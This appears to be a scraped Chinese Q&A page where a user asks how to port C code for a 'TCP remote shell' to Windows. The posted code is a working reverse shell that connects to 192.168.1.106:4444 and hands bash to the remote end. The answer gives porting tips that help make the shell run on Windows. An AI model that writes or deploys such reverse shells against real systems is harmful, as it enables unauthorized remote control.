在Windows Visual Studio中实现<netinet/in.h>
Implement <netinet/in.h> in Windows Visual Studio
我目前正在做一个关于TCP远程shell的c ++项目。因此,我构建以下代码。当我在处理 Windows 时,我找到了以下所有"#include"的替代库和标头,除了<netinet/in.h>
感谢您的帮助!
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <C:Visual Studio 2019libunistd-masterunistdsyssocket.h>
#include <C:Visual Studio 2019libunistd-masterunistdunistd.h>
#include <Winsock2.h>
//#include <netinet/in.h>
#include <C:DocumentsVisual Studio 2019libunistd-masterunistdarpa/inet.h>
int main(void) {
int sockt;
int port = 4444;
struct sockaddr_in revsockaddr;
sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("192.168.1.106");
connect(sockt, (struct sockaddr*)&revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char* const argv[] = {"/bin/bash", NULL };
execve("/bin/bash", argv, NULL);
return 0;
}
"">
不要尝试为从 Linux 到 Windows 的包含文件找到匹配项。相反,请尝试逐步编译代码并添加所需的包含文件。我可以在代码中看到的:
- 您可以使用
<Ws2tcpip.h>
包含文件内的inet_pton
而不是inet_addr
。 - 而不是
dub2
在窗口中使用_dub2
,而是在<io.h>
内部 . - 代替
execve
,请使用std::system
。
相关文章:
- netcat command in c++
- Difference in displaying cv2 Mat
- C++ MFC Libraries in Travis CI
- 如何在OpenSSL中从configuration.h.in获取configuration.h
- 创建具有 new in 函数和"this is nullptr"异常的对象
- IN, OUT, INOUT Parameters
- 应用程序崩溃并显示"symbol _ZdlPvm, version Qt_5 not defined in file libQt5Core.so.5 with link time reference"
- 有人安装"IITB Simplecpp in mac"吗?
- 从 C 样式字符串中删除子字符串 "in place" 在C++代码中
- 如何修复"error: ‘_1’ was not declared in this scope"?
- Softmax Implementation in C++
- 将 out/in out 参数与 if/switch 的 init 语句一起使用
- IF-nesting in c++
- Gurobi GRBModel and GRBmodel in C++
- Tensorflow Hub in C++
- Centos7 g++ "to_string is not in a member of std"
- InitializeCriticalSectionEx Not Located In KERNEL32.Dll
- 将 lambda 表达式传递给 std::function in C++
- 在Windows Visual Studio中实现<netinet/in.h>
- 重新定义类型包括NetInet/In.H和NetInet6/in6.h